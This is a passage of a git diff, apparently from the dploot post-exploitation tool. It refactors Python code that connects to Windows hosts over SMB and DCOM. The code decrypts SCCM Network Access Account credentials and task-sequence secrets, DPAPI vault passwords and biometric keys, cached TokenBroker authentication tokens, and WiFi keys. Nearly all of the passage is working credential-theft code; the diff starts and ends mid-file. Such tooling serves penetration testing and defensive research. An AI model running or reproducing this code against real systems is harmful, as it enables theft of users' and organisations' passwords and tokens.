self.sccmdecrypt(re.match(regex, record['value']['value']).group(1)) - finding.append(SCCMCollection(name, value)) - if 'TS_Sequence' in record and len(record['TS_Sequence']['value']) > 0: - logging.debug("Found task sequences secret using WMI") - secret = self.sccmdecrypt(re.match(regex, record['TS_Sequence']['value']).group(1)) - finding.append(SCCMSecret, secret) - except Exception as e: - if str(e).find('S_FALSE') > 0: - break - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - raise - else: - break - iEnum.RemRelease() - return finding - - - def LocalSecretsWmi(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]: - sccmcred=list() - sccmtask=list() - sccmcollection=list() - namespace = 'root\\ccm\\Policy\\Machine\\RequestedConfig' - query_naa = 'SELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccount' - query_task = 'SELECT TS_Sequence FROM CCM_TaskSequence' - query_collection = 'SELECT Name, Value FROM CCM_CollectionVariable' + try: + logging.debug( + f"Found collection variable from OBJECTS.DATA file: {match.start()} - {match.end()}" + ) + name = match.group(1).decode("utf-8").encode("utf-16le") + value = self.decrypt_sccm_secret(match.group(2)) + sccm_collection = SCCMCollection(name, value) + sccm_collections.append(sccm_collection) + if self.per_secret_callback is not None: + self.per_secret_callback(sccm_collection) + except Exception as e: + logging.debug(f"Exception encountered in {__name__}: {e}.") + + return sccm_creds, sccm_task_sequences, sccm_collections + + def parse_wmi_reply(self, iEnum): + finding = [] + regex = r"<\/PolicySecret>" + while True: + try: + pEnum = iEnum.Next(0xFFFFFFFF, 1)[0] + record = pEnum.getProperties() + + if ( + "NetworkAccessUsername" in record + and "NetworkAccessPassword" in record + and len(record["NetworkAccessUsername"]["value"]) > 0 + and len(record["NetworkAccessPassword"]["value"]) > 0 + ): + logging.debug("Found NAA Credentials using WMI") + username = self.decrypt_sccm_secret( + re.match(regex, record["NetworkAccessUsername"]["value"]).group( + 1 + ), + from_wmi=True, + ) + password = self.decrypt_sccm_secret( + re.match(regex, record["NetworkAccessPassword"]["value"]).group( + 1 + ), + from_wmi=True, + ) + sccm_naa = SCCMCred(username, password) + finding.append(sccm_naa) + if self.per_secret_callback is not None: + self.per_secret_callback(sccm_naa) + + if ( + "Name" in record + and "Value" in record + and len(record["Name"]["value"]) > 0 + and len(record["value"]["value"]) > 0 + ): + logging.debug("Found collection variables using WMI") + name = self.decrypt_sccm_secret( + re.match(regex, record["name"]["value"]).group(1), from_wmi=True + ) + value = self.decrypt_sccm_secret( + re.match(regex, record["value"]["value"]).group(1), + from_wmi=True, + ) + sccm_collection = SCCMCollection(name, value) + finding.append(sccm_collection) + if self.per_secret_callback is not None: + self.per_secret_callback(sccm_collection) + + if "TS_Sequence" in record and len(record["TS_Sequence"]["value"]) > 0: + logging.debug("Found task sequences secret using WMI") + secret = self.decrypt_sccm_secret( + re.match(regex, record["TS_Sequence"]["value"]).group(1), + from_wmi=True, + ) + sccm_ts = SCCMSecret(secret) + finding.append(sccm_ts) + if self.per_secret_callback is not None: + self.per_secret_callback(sccm_ts) + + except Exception as e: + if str(e).find("S_FALSE") > 0: + break + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + raise + else: + break + iEnum.RemRelease() + return finding + + def wmi_collect_sccm_secrets( + self, + ) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]: + sccm_cred = [] + sccm_task = [] + sccm_collection = [] + namespace = "root\\ccm\\Policy\\Machine\\RequestedConfig" + query_naa = "SELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccount" + query_task = "SELECT TS_Sequence FROM CCM_TaskSequence" + query_collection = "SELECT Name, Value FROM CCM_CollectionVariable" try: - dcom = DCOMConnection(self.target.address, self.target.username, self.target.password, self.target.domain, self.target.lmhash, self.target.nthash, self.target.aesKey, oxidResolver=True, doKerberos=self.target.do_kerberos, kdcHost=self.target.dc_ip) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + self.dcom_conn = DCOMConnection( + self.target.address, + self.target.username, + self.target.password, + self.target.domain, + self.target.lmhash, + self.target.nthash, + self.target.aesKey, + oxidResolver=True, + doKerberos=self.target.do_kerberos, + kdcHost=self.target.dc_ip, + ) + iInterface = self.dcom_conn.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) iWbemLevel1Login.RemRelease() + logging.debug("Query WMI for Network access accounts") iEnumWbemClassObject = iWbemServices.ExecQuery(query_naa) - sccmcred = self.parseReply(iEnumWbemClassObject) + sccm_cred = self.parse_wmi_reply(iEnumWbemClassObject) + logging.debug("Query WMI for Task sequences") iEnumWbemClassObject = iWbemServices.ExecQuery(query_task) - sccmtask = self.parseReply(iEnumWbemClassObject) + sccm_task = self.parse_wmi_reply(iEnumWbemClassObject) + logging.debug("Query WMI for collection variables") iEnumWbemClassObject = iWbemServices.ExecQuery(query_collection) - sccmcollection = self.parseReply(iEnumWbemClassObject) + sccm_collection = self.parse_wmi_reply(iEnumWbemClassObject) + iEnumWbemClassObject.RemRelease() - except (Exception, KeyboardInterrupt) as e: + except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - dcom.disconnect() - return sccmcred, sccmtask, sccmcollection - - def triage_sccm(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]: - sccmcred=list() - sccmtask=list() - sccmcollection=list() + finally: + if self.dcom_conn is not None: + self.dcom_conn.disconnect() + return sccm_cred, sccm_task, sccm_collection + + def triage_sccm( + self, use_wmi: bool + ) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]: + sccm_cred = [] + sccm_task = [] + sccm_collection = [] try: - if self.use_wmi: - sccmcred, sccmtask, sccmcollection = self.LocalSecretsWmi() + if use_wmi: + sccm_cred, sccm_task, sccm_collection = self.wmi_collect_sccm_secrets() else: - objectfile = self.conn.readFile(self.share,self.sccm_objectdata_filepath, bypass_shared_violation = True) - if (objectfile is not None and len(objectfile) > 0): - sccmcred, sccmtask, sccmcollection = self.parseFile(objectfile) + objectfile = self.conn.readFile( + self.share, + self.sccm_objectdata_filepath, + bypass_shared_violation=True, + looted_files=self.looted_files + ) + if objectfile is not None and len(objectfile) > 0: + sccm_cred, sccm_task, sccm_collection = self.parse_sccm_objectfile( + objectfile + ) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - pass - return sccmcred, sccmtask, sccmcollection - - - - + return sccm_cred, sccm_task, sccm_collection diff --git a/dploot/triage/vaults.py b/dploot/triage/vaults.py index ce19a01..3b70749 100755 --- a/dploot/triage/vaults.py +++ b/dploot/triage/vaults.py @@ -1,10 +1,14 @@ import logging import ntpath -from typing import Any, List +from typing import Any, List, Optional from binascii import hexlify from impacket.dcerpc.v5.dtypes import RPC_SID -from impacket.dpapi import VAULT_INTERNET_EXPLORER, VAULT_WIN_BIO_KEY, VAULT_NGC_ACCOOUNT +from impacket.dpapi import ( + VAULT_INTERNET_EXPLORER, + VAULT_WIN_BIO_KEY, + VAULT_NGC_ACCOOUNT, +) from dploot.lib.dpapi import decrypt_vcrd, decrypt_vpol, find_masterkey_for_vpol_blob from dploot.lib.smb import DPLootSMBConnection @@ -12,46 +16,71 @@ from dploot.lib.utils import is_guid from dploot.triage.masterkeys import Masterkey + class VaultCred: - def __init__(self, winuser, blob, type: "VAULT_INTERNET_EXPLORER|VAULT_WIN_BIO_KEY|VAULT_NGC_ACCOOUNT| Any", username: str = None, resource: str = None, password: str = None, sid: str = None, friendly_name: str = None, biometric_key: str = None, unlock_key: str = None, IV: str = None, cipher_text: str = None): + def __init__( + self, + winuser, + blob, + vault_type: "VAULT_INTERNET_EXPLORER|VAULT_WIN_BIO_KEY|VAULT_NGC_ACCOOUNT| Any", + username: Optional[str] = None, + resource: Optional[str] = None, + password: Optional[str] = None, + sid: Optional[str] = None, + friendly_name: Optional[str] = None, + biometric_key: Optional[str] = None, + unlock_key: Optional[str] = None, + IV: Optional[str] = None, + cipher_text: Optional[str] = None, + ): self.blob = blob self.winuser = winuser - if type is VAULT_INTERNET_EXPLORER: - self.type = 'Internet Explorer' + if vault_type is VAULT_INTERNET_EXPLORER: + self.type = "Internet Explorer" self.username = username self.resource = resource self.password = password - elif type is VAULT_WIN_BIO_KEY: - self.type = 'WINDOWS BIOMETRIC KEY' + elif vault_type is VAULT_WIN_BIO_KEY: + self.type = "WINDOWS BIOMETRIC KEY" self.sid = sid self.friendly_name = friendly_name self.biometric_key = biometric_key - elif type is VAULT_NGC_ACCOOUNT: - self.type = 'NGC LOCAL ACCOOUNT' + elif vault_type is VAULT_NGC_ACCOOUNT: + self.type = "NGC LOCAL ACCOOUNT" self.sid = sid self.friendly_name = friendly_name self.unlock_key = unlock_key self.IV = IV self.cipher_text = cipher_text else: - self.type = 'None' - + self.type = "None" + def dump(self) -> None: self.blob.dump() - if self.password is not None: - print('Decoded Password: %s' % self.password) + if hasattr(self, "password") and self.password is not None: + print("Decoded Password: %s" % self.password) print() def dump_quiet(self) -> None: - if self.type == 'Internet Explorer': - print("[Internet Explorer] %s - %s:%s" % (self.resource, self.username, self.password)) + if self.type == "Internet Explorer": + print( + f"[Internet Explorer] {self.resource} - {self.username}:{self.password}" + ) -class VaultsTriage: - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] +class VaultsTriage: + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] user_vault_generic_path = [ - 'Users\\%s\\AppData\\Local\\Microsoft\\Vault', - 'Users\\%s\\AppData\\Roaming\\Microsoft\\Vault', + "Users\\%s\\AppData\\Local\\Microsoft\\Vault", + "Users\\%s\\AppData\\Roaming\\Microsoft\\Vault", ] system_vault_generic_path = [ "Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault", @@ -59,77 +88,106 @@ class VaultsTriage: "Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Vault", "Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Vault", "Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Vault", - "Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Vault" + "Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Vault", ] - share = 'C$' - vpol_filename = 'Policy.vpol' + share = "C$" + vpol_filename = "Policy.vpol" - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_vault_callback: Any = None, + ) -> None: self.target = target self.conn = conn - + self._users = None - self.looted_files = dict() + self.looted_files = {} self.masterkeys = masterkeys + self.per_vault_callback = per_vault_callback + def triage_system_vaults(self) -> List[VaultCred]: - vaults_creds = list() + vaults_creds = [] vault_dirs = self.conn.listDirs(self.share, self.system_vault_generic_path) - for system_vault_path,system_vault_dir in vault_dirs.items(): + for system_vault_path, system_vault_dir in vault_dirs.items(): if system_vault_dir is not None: - vaults_creds += self.triage_vaults_folder(user = 'SYSTEM', vaults_folder_path=system_vault_path,vaults_folder=system_vault_dir) + vaults_creds += self.triage_vaults_folder( + user="SYSTEM", + vaults_folder_path=system_vault_path, + vaults_folder=system_vault_dir, + ) return vaults_creds def triage_vaults(self) -> List[VaultCred]: - vaults_creds = list() + vaults_creds = [] for user in self.users: try: - vaults_creds += self.triage_vaults_for_user(user) + vaults_creds += self.triage_vaults_for_user(user) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - pass return vaults_creds - def triage_vaults_for_user(self, user:str) -> List[VaultCred]: - vaults_creds = list() - vault_dirs = self.conn.listDirs(self.share, [elem % user for elem in self.user_vault_generic_path]) - for user_vault_path,user_vault_dir in vault_dirs.items(): + def triage_vaults_for_user(self, user: str) -> List[VaultCred]: + vaults_creds = [] + vault_dirs = self.conn.listDirs( + self.share, [elem % user for elem in self.user_vault_generic_path] + ) + for user_vault_path, user_vault_dir in vault_dirs.items(): if user_vault_dir is not None: - vaults_creds += self.triage_vaults_folder(user=user, vaults_folder_path=user_vault_path,vaults_folder=user_vault_dir) + vaults_creds += self.triage_vaults_folder( + user=user, + vaults_folder_path=user_vault_path, + vaults_folder=user_vault_dir, + ) return vaults_creds - def triage_vaults_folder(self, user, vaults_folder_path, vaults_folder) -> List[VaultCred]: - vaults_creds = list() + def triage_vaults_folder( + self, user, vaults_folder_path, vaults_folder + ) -> List[VaultCred]: + vaults_creds = [] for d in vaults_folder: - if is_guid(d.get_longname()) and d.is_directory()>0: + if is_guid(d.get_longname()) and d.is_directory() > 0: vault_dirname = d.get_longname() - vault_directory_path = ntpath.join(vaults_folder_path,vault_dirname) - logging.debug("Found Vault Directory: \\\\%s\\%s\\%s\n" % (self.target.address,self.share,vault_directory_path)) - + vault_directory_path = ntpath.join(vaults_folder_path, vault_dirname) + logging.debug( + f"Found Vault Directory: \\\\{self.target.address}\\{self.share}\\{vault_directory_path}\n" + ) + # read vpol blob - vpol_filepath = ntpath.join(vault_directory_path,self.vpol_filename) - vpolblob_bytes = self.conn.readFile(self.share,vpol_filepath) - vpol_keys = list() + vpol_filepath = ntpath.join(vault_directory_path, self.vpol_filename) + vpolblob_bytes = self.conn.readFile(self.share, vpol_filepath, looted_files=self.looted_files) + vpol_keys = [] if vpolblob_bytes is not None and self.masterkeys is not None: - self.looted_files[vault_dirname + '_' + self.vpol_filename] = vpolblob_bytes - masterkey = find_masterkey_for_vpol_blob(vpolblob_bytes, self.masterkeys) + masterkey = find_masterkey_for_vpol_blob( + vpolblob_bytes, self.masterkeys + ) if masterkey is not None: - vpol_decrypted = decrypt_vpol(vpolblob_bytes,masterkey) - if vpol_decrypted['Key1']['Size'] > 0x24: + vpol_decrypted = decrypt_vpol(vpolblob_bytes, masterkey) + if vpol_decrypted["Key1"]["Size"] > 0x24: vpol_keys.append( - hexlify(vpol_decrypted['Key2']['bKeyBlob'])) + hexlify(vpol_decrypted["Key2"]["bKeyBlob"]) + ) vpol_keys.append( - hexlify(vpol_decrypted['Key1']['bKeyBlob'])) + hexlify(vpol_decrypted["Key1"]["bKeyBlob"]) + ) else: vpol_keys.append( hexlify( - vpol_decrypted['Key2']['bKeyBlob']['bKey']).decode('latin-1')) + vpol_decrypted["Key2"]["bKeyBlob"]["bKey"] + ).decode("latin-1") + ) vpol_keys.append( hexlify( - vpol_decrypted['Key1']['bKeyBlob']['bKey']).decode('latin-1')) + vpol_decrypted["Key1"]["bKeyBlob"]["bKey"] + ).decode("latin-1") + ) else: logging.debug("Could not decrypt...") @@ -137,36 +195,120 @@ def triage_vaults_folder(self, user, vaults_folder_path, vaults_folder) -> List[ vault_dir = self.conn.remote_list_dir(self.share, vault_directory_path) for file in vault_dir: filename = file.get_longname() - if filename != self.vpol_filename and filename not in self.false_positive and file.is_directory() == 0 and filename[-4:] == 'vcrd': - vrcd_filepath = ntpath.join(vault_directory_path,filename) - vrcd_bytes = self.conn.readFile(self.share, vrcd_filepath) - self.looted_files[vault_dirname + '_' + vrcd_filepath] = vpolblob_bytes - if vrcd_bytes is not None and filename[-4:] in ['vsch','vcrd'] and len(vpol_keys) > 0: + if ( + filename != self.vpol_filename + and filename not in self.false_positive + and file.is_directory() == 0 + and filename[-4:] == "vcrd" + ): + vrcd_filepath = ntpath.join(vault_directory_path, filename) + vrcd_bytes = self.conn.readFile(self.share, vrcd_filepath, looted_files=self.looted_files) + if ( + vrcd_bytes is not None + and filename[-4:] in ["vsch", "vcrd"] + and len(vpol_keys) > 0 + ): vault = decrypt_vcrd(vrcd_bytes, vpol_keys) - if isinstance(vault, (VAULT_INTERNET_EXPLORER, VAULT_WIN_BIO_KEY, VAULT_NGC_ACCOOUNT)): - if isinstance(vault, VAULT_INTERNET_EXPLORER): - vaults_creds.append(VaultCred(winuser=user, blob=vault, type=type(vault), username=vault['Username'].decode('utf-16le'),resource=vault['Resource'].decode('utf-16le'), password=vault['Password'].decode('utf-16le') )) - elif isinstance(vault, VAULT_WIN_BIO_KEY): - vaults_creds.append(VaultCred(winuser=user, blob=vault, type=type(vault), sid=RPC_SID(b'\x05\x00\x00\x00'+vault['Sid']).formatCanonical(), friendly_name=vault['Name'].decode('utf-16le'), biometric_key=(hexlify(vault['BioKey']['bKey'])).decode('latin-1'))) - elif isinstance(vault, VAULT_NGC_ACCOOUNT): - vaults_creds.append(VaultCred(winuser=user, blob=vault, type=type(vault), sid=RPC_SID(b'\x05\x00\x00\x00'+vault['Sid']).formatCanonical(), friendly_name=vault['Name'].decode('utf-16le'), biometric_key=(hexlify(vault['BioKey']['bKey'])).decode('latin-1'), unlock_key=hexlify(vault["UnlockKey"]), IV=hexlify(vault["IV"]), cipher_text=hexlify(vault["CipherText"]))) - else: - logging.debug('Vault decrypted but unknown data structure:') + try: + if isinstance( + vault, + ( + VAULT_INTERNET_EXPLORER, + VAULT_WIN_BIO_KEY, + VAULT_NGC_ACCOOUNT, + ), + ): + vault_cred = None + if isinstance(vault, VAULT_INTERNET_EXPLORER): + vault_cred = VaultCred( + winuser=user, + blob=vault, + type=type(vault), + username=vault["Username"].decode( + "utf-16le" + ), + resource=vault["Resource"].decode( + "utf-16le" + ), + password=vault["Password"].decode( + "utf-16le" + ), + ) + elif isinstance(vault, VAULT_WIN_BIO_KEY): + vault_cred = VaultCred( + winuser=user, + blob=vault, + type=type(vault), + sid=RPC_SID( + b"\x05\x00\x00\x00" + vault["Sid"] + ).formatCanonical(), + friendly_name=vault["Name"].decode( + "utf-16le" + ), + biometric_key=( + hexlify(vault["BioKey"]["bKey"]) + ).decode("latin-1"), + ) + elif isinstance(vault, VAULT_NGC_ACCOOUNT): + # take non existing keys into account + try: + biometric_key = ( + hexlify(vault["BioKey"]["bKey"]) + ).decode("latin-1") + except KeyError: + biometric_key = None + try: + unlock_key = hexlify(vault["UnlockKey"]) + except KeyError: + unlock_key = None + try: + iv = hexlify(vault["IV"]) + except KeyError: + iv = None + try: + cipher_text = hexlify(vault["CipherText"]) + except KeyError: + cipher_text = None + + vault_cred = VaultCred( + winuser=user, + blob=vault, + type=type(vault), + sid=RPC_SID( + b"\x05\x00\x00\x00" + vault["Sid"] + ).formatCanonical(), + friendly_name=vault["Name"].decode( + "utf-16le" + ), + biometric_key=biometric_key, + unlock_key=unlock_key, + IV=iv, + cipher_text=cipher_text, + ) + if vault_cred is not None: + vaults_creds.append(vault_cred) + if self.per_vault_callback is not None: + self.per_vault_callback(vault_cred) + else: + logging.debug( + "Vault decrypted but unknown data structure:" + ) + except Exception as e: + # report the exception, and continue the for loop + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.debug( + f"{e!s} while parsing vault:{vault.__class__} {vault.__dict__}" + ) return vaults_creds @property def users(self) -> List[str]: if self._users is not None: return self._users - - users = list() - - users_dir_path = 'Users\\*' - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) - - self._users = users + + self._users = self.conn.list_users(self.share) return self._users \ No newline at end of file diff --git a/dploot/triage/wam.py b/dploot/triage/wam.py new file mode 100644 index 0000000..7f69d7f --- /dev/null +++ b/dploot/triage/wam.py @@ -0,0 +1,250 @@ +from base64 import b64decode +import json +import logging +import ntpath +from typing import Any, List +from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob +from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.target import Target +from dploot.triage.masterkeys import Masterkey +from impacket.structure import Structure, unpack + +class TBRESVersion(Structure): + structure = ( + ("Version", ">L=0"), + ) + + def __str__(self): + return "%x" % self["Version"] + +class TBRESKeyValue(Structure): + key_value_type_def = { + 4:{"name":"Unsigned Int","size":4}, + 5:{"name":"Unsigned Int","size":4}, + 6:{"name":"Timestamp","size":8}, + 7:{"name":"Unsigned Long","size":8}, + 12:{"name":"String","size":4}, + 13:{"name":"GUID","size":16}, + 1025:{"name":"Content Identifier","size":0}, + } + + structure = ( + ("KeyType", ">L=0"), + ("KeyLength", ">L=0"), + ("_Key", "_-Key", 'self["KeyLength"]'), + ("Key", ":"), + ("ValueType", ">L=0"), + ) + + def __init__(self, data=None, alignment=0): + self.additionnal_size = 0 + self.remaining = data + super().__init__(data, alignment) + if self["ValueType"] == 4: # noqa: SIM114 + self["Data"] = super().unpack(">I", data[super().__len__():len(self)]) + elif self["ValueType"] == 5: + self["Data"] = super().unpack(">I", data[super().__len__():len(self)]) + elif self["ValueType"] == 6: # noqa: SIM114 + self["Data"] = super().unpack(">Q", data[super().__len__():len(self)]) + elif self["ValueType"] == 7: + self["Data"] = super().unpack(">Q", data[super().__len__():len(self)]) + elif self["ValueType"] == 12: + string_length = super().unpack(">I", data[super().__len__():len(self)]) + self["Data"] = super().unpack("%ss" % string_length, data[len(self):len(self)+string_length]) + self.additionnal_size = string_length + elif self["ValueType"] == 13: + self["Data"] = super().unpack("16s", data[super().__len__():len(self)]) + elif self["ValueType"] == 1025: + if self["KeyLength"] > 1: + remaining = self.remaining[super().__len__():] + _length = unpack("I", remaining[0:4]) + version = TBRESVersion(remaining[4:]) + next_key_value = TBRESKeyValue(remaining[4+len(version):]) + try: + self["Data"] = "{}: {}".format(next_key_value["Key"].decode(), next_key_value["Data"].decode()) + except Exception: + self["Data"] = "{}: {}".format(next_key_value["Key"].decode(), next_key_value["Data"]) + self.additionnal_size=len(next_key_value)+len(version)+4 + else: + self["Data"] = "None" + else: + raise Exception(f"Unhandled TBRES ValueType: {self['ValueType']}") + + self.remaining = self.remaining[len(self):] + + + def dump(self): + print("Key: %s" % self["Key"]) + print("ValueType: {} = {}".format(self["ValueType"], self.key_value_type_def[self["ValueType"]]["name"])) + print(f"Data: {self['Data']}") + + def __len__(self): + size = 0 + size = super().__len__() + size += self.key_value_type_def[self["ValueType"]]["size"] + size += self.additionnal_size + + return size + + def __str__(self): + try: + if isinstance(self["Data"], int): + return f"{self['Key'].decode()}: {self['Data']}" + else: + return f"{self['Key'].decode()}: {self['Data'].decode()}" + except Exception: + return f"{self['Key'].decode()}: {self['Data']}" + +class TBRESResponseData: + def __init__(self, winuser, data=None): + self.winuser = winuser + self.attribs = [] + if data is not None: + self.version = TBRESVersion(data) + + remaining = data[len(self.version):] + expiration = TBRESKeyValue(remaining) + self.attribs.append(expiration) + responses = TBRESKeyValue(expiration.remaining) + if responses["Key"] != b"responses": + remaining = responses.remaining + while(len(remaining))>0: + element, remaining = self.get_tbres_element(remaining) + if element is None: + break + self.attribs.append(element) + else: + self.attribs.append(responses) + + _response_len = unpack("I", responses.remaining[0:4]) + version2 = TBRESVersion(responses.remaining[4:]) + unk = TBRESKeyValue(responses.remaining[4+len(version2):]) + + _content_len = unpack("I", unk.remaining[0:4]) + version3 = TBRESVersion(unk.remaining[4:]) + remaining= unk.remaining[4+len(version3):] + while(len(remaining))>0: + element, remaining = self.get_tbres_element(remaining) + if element is None: + break + if isinstance(element, List): + self.attribs += element + else: + self.attribs.append(element) + + def get_tbres_element(self,bytes_remaining): + elem = TBRESKeyValue(bytes_remaining) + if elem["Key"] in [b"WTRes_Error",b"error"]: + return None, elem.remaining + elif elem["Key"] == b"WTRes_Token": + prop = TBRESKeyValue(elem.remaining) + return elem, prop.remaining + elif elem["Key"] == b"WTRes_Account": + prop = TBRESKeyValue(elem.remaining) + _element_len = unpack("I", prop.remaining[0:4])[0] + version = TBRESVersion(prop.remaining[4:]) + remaining = prop.remaining[4+len(version):] + properties = [elem, prop] + while(len(remaining) > 0): + prop = TBRESKeyValue(remaining) + properties.append(prop) + remaining = prop.remaining + return properties, remaining + else: + _element_len = unpack("I", elem.remaining[0:4])[0] + version = TBRESVersion(elem.remaining[4:]) + remaining = elem.remaining[4+len(version):] + properties = [elem] + while(len(remaining) > 0): + + try: + prop = TBRESKeyValue(remaining) + except Exception: + prop = TBRESKeyValue(remaining[8:]) + properties.append(prop) + remaining = prop.remaining + return properties, remaining + + def dump(self): + print("[TBRES FILE]") + print("Version: %s" % self.version) + for attrib in self.attribs: + print(attrib) + print() + +class WamTriage: + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] + share = "C$" + token_broker_cache_path = "Users\\{username}\\AppData\\Local\\Microsoft\\TokenBroker\\Cache" + + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_token_callback: Any = None, + ) -> None: + self.target = target + self.conn = conn + + self._users = None + self.looted_files = {} + self.masterkeys = masterkeys + + self.per_token_callback = per_token_callback + + def triage_wam(self): + tbres_responses_cache = [] + for user in self.users: + tbres_responses_cache += self.triage_wam_for_user(user) + + def triage_wam_for_user(self, user): + tbres_responses_cache = [] + tbc_user_path = self.token_broker_cache_path.format(username=user) + tbc_dir = self.conn.remote_list_dir(self.share, tbc_user_path) + if tbc_dir is None: + return [] + for file in tbc_dir: + filename = file.get_longname() + if filename[-6:] ==".tbres" and filename not in self.false_positive and file.is_directory() == 0: + logging.debug(f"Got {filename} cache file for user {user}") + tbres_filepath = ntpath.join(tbc_user_path, filename) + data_bytes = self.conn.readFile(self.share, tbres_filepath, looted_files=self.looted_files) + if data_bytes is None: + continue + decrypted_blob = self.decypt_tbres_file(data_bytes) + if decrypted_blob is not None: + tbres_response_data = TBRESResponseData(winuser = user, data=decrypted_blob) + if self.per_token_callback is not None: + self.per_token_callback(tbres_response_data) + tbres_responses_cache.append(tbres_response_data) + return tbres_responses_cache + + def decypt_tbres_file(self, tbres_file_data_bytes): + tbres_json_data = json.loads(tbres_file_data_bytes.decode("utf-16le").rstrip("\x00")) + response_bytes = tbres_json_data["TBDataStoreObject"]["ObjectData"]["SystemDefinedProperties"]["ResponseBytes"] + if not response_bytes["IsProtected"]: + return None + blob = b64decode(response_bytes["Value"]) + masterkey = find_masterkey_for_blob(blob, self.masterkeys) + if masterkey is not None: + return decrypt_blob(masterkey=masterkey, blob_bytes=blob) + + return None + + @property + def users(self) -> List[str]: + if self._users is not None: + return self._users + + self._users = self.conn.list_users(self.share) + + return self._users \ No newline at end of file diff --git a/dploot/triage/wifi.py b/dploot/triage/wifi.py index 277252a..ab7484c 100755 --- a/dploot/triage/wifi.py +++ b/dploot/triage/wifi.py @@ -1,10 +1,14 @@ from binascii import unhexlify +import itertools import logging import ntpath -from typing import Any, List +import os +from typing import Any, List, Optional from lxml import objectify from impacket.dcerpc.v5 import rrp +from impacket.winregistry import Registry +from impacket.system_errors import ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob @@ -13,17 +17,27 @@ from dploot.triage.masterkeys import Masterkey EAP_TYPES = { - 13:"EAP TLS", - 18:"EAP SIM", - 21:"EAP TTLS", - 23:"EAP AKA", - 25:"PEAP", - 50:"EAP AKA PRIME", - } + 13: "EAP TLS", + 18: "EAP SIM", + 21: "EAP TTLS", + 23: "EAP AKA", + 25: "PEAP", + 50: "EAP AKA PRIME", +} -class WifiCred: - def __init__(self, ssid: str, auth: str, encryption: str, password: str = None, xml_data: Any = None, eap_username: str = None, eap_password: str = None) -> None: +class WifiCred: + def __init__( + self, + ssid: str, + auth: str, + encryption: str, + password: Optional[str] = None, + xml_data: Any = None, + eap_username: Optional[str] = None, + eap_domain: Optional[str] = None, + eap_password: Optional[str] = None, + ) -> None: self.ssid = ssid self.auth = auth self.encryption = encryption @@ -36,157 +50,386 @@ def __init__(self, ssid: str, auth: str, encryption: str, password: str = None, self.eap_type = None self.eap_username = eap_username self.eap_password = eap_password + self.eap_domain = eap_domain - if self.auth == 'WPA2' or self.auth == 'WPA': - self.onex = getattr(self.xml_data.MSM.security, "{http://www.microsoft.com/networking/OneX/v1}OneX") - self.eap_host_config = getattr(self.onex.EAPConfig, "{http://www.microsoft.com/provisioning/EapHostConfig}EapHostConfig") - eap_type = int(getattr(self.eap_host_config.EapMethod, "{http://www.microsoft.com/provisioning/EapCommon}Type")) + if self.auth == "WPA2" or self.auth == "WPA": + self.onex = getattr( + self.xml_data.MSM.security, + "{http://www.microsoft.com/networking/OneX/v1}OneX", + ) + self.eap_host_config = getattr( + self.onex.EAPConfig, + "{http://www.microsoft.com/provisioning/EapHostConfig}EapHostConfig", + ) + eap_type = int( + getattr( + self.eap_host_config.EapMethod, + "{http://www.microsoft.com/provisioning/EapCommon}Type", + ) + ) self.eap_type = EAP_TYPES[eap_type] def dump(self) -> None: - print('[WIFI]') - print('SSID:\t\t%s' % self.ssid) - if self.auth.upper() in ['WPAPSK', 'WPA2PSK','WPA3SAE']: - print('AuthType:\t%s' % self.auth.upper()) - print('Encryption:\t%s' % self.encryption.upper()) - print('Preshared key:\t%s' % self.password.decode('latin-1')) - elif self.auth.upper() in ['WPA', 'WPA2']: - print('AuthType:\t%s EAP' % self.auth.upper()) - print('Encryption:\t%s' % self.encryption.upper()) - print('EAP Type:\t%s' % self.eap_type) + print("[WIFI]") + print("SSID:\t\t%s" % self.ssid) + if self.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: + print("AuthType:\t%s" % self.auth.upper()) + print("Encryption:\t%s" % self.encryption.upper()) + print("Preshared key:\t%s" % self.password) + elif self.auth.upper() in ["WPA", "WPA2"]: + print("AuthType:\t%s EAP" % self.auth.upper()) + print("Encryption:\t%s" % self.encryption.upper()) + 